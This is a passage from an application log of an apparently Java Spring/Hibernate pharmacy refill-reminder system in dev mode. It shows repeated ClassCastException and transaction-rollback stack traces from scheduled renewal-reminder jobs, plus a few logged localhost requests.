org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 20:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 20:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 20:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 20:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 20:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 20:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 20:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 20:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 20:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 20:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 20:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 20:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 20:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 20:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:23:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:23:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:23:34 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 20:23:34 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 20:23:34 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 20:23:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:23:34 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:23:34 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/struts2-rest-showcase/orders/3 2024-02-25 20:23:35 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:23:35 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:23:35 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 20:23:35 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 20:23:35 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 20:23:35 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:23:35 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:23:35 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/orders/3 2024-02-25 20:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 20:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 20:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 20:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 20:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 20:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 20:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 20:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 20:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 20:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 20:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 20:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 20:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 20:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 20:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at 